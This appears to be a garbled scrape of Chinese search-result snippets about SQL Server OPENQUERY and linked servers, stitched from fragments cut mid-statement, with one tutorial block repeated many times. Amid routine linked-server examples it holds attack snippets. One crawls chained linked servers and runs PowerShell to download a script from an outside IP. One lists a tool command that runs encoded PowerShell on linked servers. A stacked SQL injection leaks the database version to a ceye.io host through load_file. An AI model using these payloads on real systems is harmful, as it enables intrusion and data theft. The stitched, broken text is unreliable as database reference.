数据库名.dbo.表名 --以后不再使用时删除链接服务器 exec sp_dropserver 'ITSV ', 'droplogins ' --连接远程/局域网数据(openrowset/openquery (ITSV, 'SELECT * FROM 数据库.dbo.表名 ') --把本地表导入远程表 insert openquery(ITSV, 'SELECT * FROM 数据库.dbo.表名 ') select * from 本地表 --更新本地表 update b set b.列B=a.列B FROM openquery(ITSV, 'SELECT * FROM 数据库.dbo.表名 (demo ,'select * from tbdemo' ) UPDATE OPENQUERY (demo, 'SELECT id FROM tbdemo WHERE id = 101') SET name = 'hello'; INSERT OPENQUERY (demo, 'SELECT id FROM tbdemo') VALUES ('hello'); DELETE OPENQUERY (
> ,qana
,cwar
,cpha
,scpf
,scpq)
SELECT *
FROM OPENQUERY csig
,ctyp
,ctyo
,cpcl
,cean
,lmdt
)
SELECT *
FROM OPENQUERY item,otbp,efdt,exdt,cofc,pref,ibps,prio,srcp,qimf,qimi,qima,qifi,qiec,cfrw,suti)
SELECT *
FROM OPENQUERY br/>
Insert into LNtdipu001(item,cuqp,cupp,ccur,prip,otbp,buyr,cofc,suti)
SELECT *
FROM OPENQUERY Truncate Table LNtcibd004
Insert into LNtcibd004(citt,bpid,item,aitc)
SELECT *
FROM OPENQUERY
数据库名.dbo.表名 --以后不再使用时删除链接服务器 exec sp_dropserver 'ITSV ', 'droplogins ' --连接远程/局域网数据(openrowset/openquery (ITSV, 'SELECT * FROM 数据库.dbo.表名 ') --把本地表导入远程表 insert openquery(ITSV, 'SELECT * FROM 数据库.dbo.表名 ') select * from 本地表 --更新本地表 update b set b.列B=a.列B FROM openquery(ITSV, 'SELECT * FROM 数据库.dbo.表名 (demo ,'select * from tbdemo' ) UPDATE OPENQUERY (demo, 'SELECT id FROM tbdemo WHERE id = 101') SET name = 'hello'; INSERT OPENQUERY (demo, 'SELECT id FROM tbdemo') VALUES ('hello'); DELETE OPENQUERY (
下一步我们可以尝试在链接的服务器上执行查询,可以使用OPENQUERY关键字实现。 首先我们查询链接的服务器的数据库实例版本: select version from openquery("dev-DC01", 'select @@version as version') 查看dev-DC01 OPENQUERY存储过程无法在链接服务器执行,所以这里我们使用AT关键字指定要执行查询的链接服务器。 虽然微软的文档说明,在链接的SQL服务器上不支持用OPENQUERY关键字执行存储过程,但实际上可以利用堆叠查询的方式执行: SELECT * FROM OPENQUERY("dev-DC01", 'select 使用下面命令查看在APPSRV01上的登录上下文: select mylogin from openquery("dev-dc01", 'select mylogin from openquery("appsrv01
',@useself='false',@locallogin='sa',@rmtuser='root',@rmtpassword='mysql' GO 4、测试链接服务器 SELECT * FROM OPENQUERY 实施数据迁移 USE master GO CREATE DATABASE material --创建目标数据库 GO 可以使用以下语句查询需要迁移的schema下的表 SELECT * FROM OPENQUERY where table_schema=''material''' ) 将所有表内容插入到SQLserver,如下方式 SELECT * INTO material.dbo.ic_goods FROM OPENQUERY
ITSV.数据库名.dbo.表名 --以后不再使用时删除链接服务器 exec sp_dropserver 'ITSV ', 'droplogins ' --连接远程/局域网数据(openrowset/openquery ( 'SQLOLEDB ', 'sql服务器名 '; '用户名 '; '密码 ',数据库名.dbo.表名)as a inner join 本地表 b on a.column1=b.column1 --openquery 首先创建一个连接创建链接服务器 exec sp_addlinkedserver 'ITSV ', ' ', 'SQLOLEDB ', '远程服务器名或ip地址 ' --查询 select * FROM openquery (ITSV, 'SELECT * FROM 数据库.dbo.表名 ') --把本地表导入远程表 insert openquery(ITSV, 'SELECT * FROM 数据库.dbo.表名 ') select * from 本地表 --更新本地表 update b set b.列B=a.列B FROM openquery(ITSV, 'SELECT * FROM 数据库.dbo.表名 '
SQL Server为了解决这个问题,提供了OPENQUERY函数用于将查询语句直接送到链接服务器中,由链接服务器的数据库引擎负责查询,而不是由SQL Server将全部数据读取到本地来查询。 OPENQUERY函数的语法格式为: OPENQUERY ( linked_server ,'query' ) 其中linked_server表示链接服务器名称的标识符。' 于是上面的查询我们可以改写为如下的形式: SELECT * FROM OPENQUERY(ORA, 'SELECT * FROM MARY.ORDERS WHERE ORDERCODE=''20080808008
from master..sysservers 枚举数据库链接 Get-SQLServerLinkCrawl -Instance <instance> -Verbose #Or select * from openquery ("<instance>",'select * from openquery("<instance2>",''select * from master..sysservers'')') 枚举域用户 Get-SQLFuzzDomainAccount net.webclient).downloadstring(''http://172.16.100.168:8080/Invoke-HelloWorld.ps1'')"' #Or select * from openquery ("<instance>",'select * from openquery("<instance2>",''select * from openquery("<instance3>.domain.local
connections - linkedquery : Execute Encoded PowerShell Command on Linked SQL Server via 'OPENQUERY ' - openquery : Execute an arbitrary query using 'OPENQUERY' [*] For detailed usage, type
10> OPENQUERY:在给定的链接服务器(一个 OLE DB 数据源)上执行指定的直接传递查询。可以在查询的 FROM 子句中像引用表名那样引用 OPENQUERY 函数。 依据 OLE DB 提供程序的能力,还可以将 OPENQUERY 函数引用为 INSERT、UPDATE 或 DELETE 语句的目标表。 尽管查询可能返回多个结果集,但是 OPENQUERY 只返回第一个。 11> OPENDATASOURCE:不使用链接的服务器名,而提供特殊的连接信息,并将其作为四部分对象名的一部分
Microsoft OLE DB Provider for ODBC Drivers”; 2数据源,就是我们之前配置的odbc数据源test ,必须存在; 其它可不填,点击“确定” 第五步:测试 语法:OPENQUERY (链接服务器名, '查询语句') 如: SELECT * FROM OPENQUERY (test, 'select * from tobj_operate') 执行能成功则可以。 UPDATE OPENQUERY (test, 'SELECT id FROM tobj_operate WHERE id = 101') SET name = 'hello'; INSERT OPENQUERY (test, 'SELECT id FROM tobj_operate') VALUES ('hello'); DELETE OPENQUERY (test, 'SELECT id FROM tobj_operate @useself = 'false', @locallogin = NULL, @rmtuser = NULL, @rmtpassword = NULL SELECT* FROM OPENQUERY
OPENXML是一个rowset函数(即返回一个rowset),它的工作方式类似于rowset函数OPENQUERY和OPENROWSET。 然而,要使用OPENXML,你必须执行两项OPENQUERY和OPENROWSET并不需要的任务。这两项任务需要两个系统存储进程。
.数据库名.dbo.表名 --以后不再使用时删除链接服务器 exec sp_dropserver 'ITSV ', 'droplogins ' --连接远程/局域网数据(openrowset/openquery sql服务器名 '; '用户名 '; '密码 ',数据库名.dbo.表名)as a inner join 本地表 b on a.column1=b.column1 --openquery sp_addlinkedserver 'ITSV ', ' ', 'SQLOLEDB ', '远程服务器名或ip地址 ' --查询 select * FROM openquery (ITSV, 'SELECT * FROM 数据库.dbo.表名 ') --把本地表导入远程表 insert openquery(ITSV, 'SELECT * select * from 本地表 --更新本地表 update b set b.列B=a.列B FROM openquery
ITSV.数据库名.dbo.表名 --以后不再使用时删除链接服务器 exec sp_dropserver 'ITSV ', 'droplogins ' --连接远程/局域网数据(openrowset/openquery 'SQLOLEDB ', 'sql服务器名 '; '用户名 '; '密码 ',数据库名.dbo.表名)as a inner join 本地表 b on a.column1=b.column1 --openquery 首先创建一个连接创建链接服务器 exec sp_addlinkedserver 'ITSV ', ' ', 'SQLOLEDB ', '远程服务器名或ip地址 ' --查询 select * FROM openquery (ITSV, 'SELECT * FROM 数据库.dbo.表名 ') --把本地表导入远程表 insert openquery(ITSV, 'SELECT * FROM 数据库.dbo.表名 ') select * from 本地表 --更新本地表 update b set b.列B=a.列B FROM openquery(ITSV, 'SELECT * FROM 数据库.dbo.表名
ITSV.数据库名.dbo.表名 --以后不再使用时删除链接服务器 exec sp_dropserver 'ITSV ', 'droplogins ' –连接远程/局域网数据(openrowset/openquery ( 'SQLOLEDB ', 'sql服务器名 '; '用户名 '; '密码 ',数据库名.dbo.表名)as a inner join 本地表 b on a.column1=b.column1 –openquery 首先创建一个连接创建链接服务器 exec sp_addlinkedserver 'ITSV ', ' ', 'SQLOLEDB ', '远程服务器名或ip地址 ' --查询 select * FROM openquery (ITSV, 'SELECT * FROM 数据库.dbo.表名 ') --把本地表导入远程表 insert openquery(ITSV, 'SELECT * FROM 数据库.dbo.表名 ') select * from 本地表 --更新本地表 update b set b.列B=a.列B FROM openquery(ITSV, 'SELECT * FROM 数据库.dbo
这些函数如:OPENDATASOURCE OPENQUERY OPENROWSET OPENXML,具体有兴趣可详细查看文档说明,今天用到的是OPENQUERY 函数。
from ITSV.数据库名.dbo.表名--以后不再使用时删除链接服务器exec sp_dropserver 'ITSV ', 'droplogins '--连接远程/局域网数据(openrowset/openquery openrowset( 'SQLOLEDB ', 'sql服务器名 '; '用户名 '; '密码 ',数据库名.dbo.表名)as a inner join 本地表 bon a.column1=b.column1--openquery -首先创建一个连接创建链接服务器exec sp_addlinkedserver 'ITSV ', ' ', 'SQLOLEDB ', '远程服务器名或ip地址 '--查询select *FROM openquery (ITSV, 'SELECT * FROM 数据库.dbo.表名 ')--把本地表导入远程表insert openquery(ITSV, 'SELECT * FROM 数据库.dbo.表名 ') select * from 本地表--更新本地表update bset b.列B=a.列BFROM openquery(ITSV, 'SELECT * FROM 数据库.dbo.表名 ') as a
过滤在此,分析了一下,我们在oob中可以使用load_file(),这里的函数过滤应该也算一个提示 然后是如何在sql server的查询中查询mysql,可以用如下方法: SELECT * FROM OPENQUERY id=1;SELECT * FROM OPENQUERY(mysql,'select load_file( concat('\\\\',version(),'.2bub8m.ceye.io\\abc') id=1;SELECT * FROM OPENQUERY(mysql,'select load_file( concat(0x5c5c5c5c,version(),0x2e32627562386d2e636579652e696f5c5c616263
ITSV.数据库名.dbo.表名 --以后不再使用时删除链接服务器 exec sp_dropserver 'ITSV ', 'droplogins ' --连接远程/局域网数据(openrowset/openquery ( 'SQLOLEDB ', 'sql服务器名 '; '用户名 '; '密码 ',数据库名.dbo.表名)as a inner join 本地表 b on a.column1=b.column1 --openquery 首先创建一个连接创建链接服务器 exec sp_addlinkedserver 'ITSV ', ' ', 'SQLOLEDB ', '远程服务器名或ip地址 ' --查询 select * FROM openquery (ITSV, 'SELECT * FROM 数据库.dbo.表名 ') --把本地表导入远程表 insert openquery(ITSV, 'SELECT * FROM 数据库.dbo.表名 ') select * from 本地表 --更新本地表 update b set b.列B=a.列B FROM openquery(ITSV, 'SELECT * FROM 数据库.dbo.表名 '
NOCHECK | NONCLUSTERED | NOT | NULL | NULLIF OF | OFF | OFFSETS | ON | OPEN | OPENDATASOURCE | OPENQUERY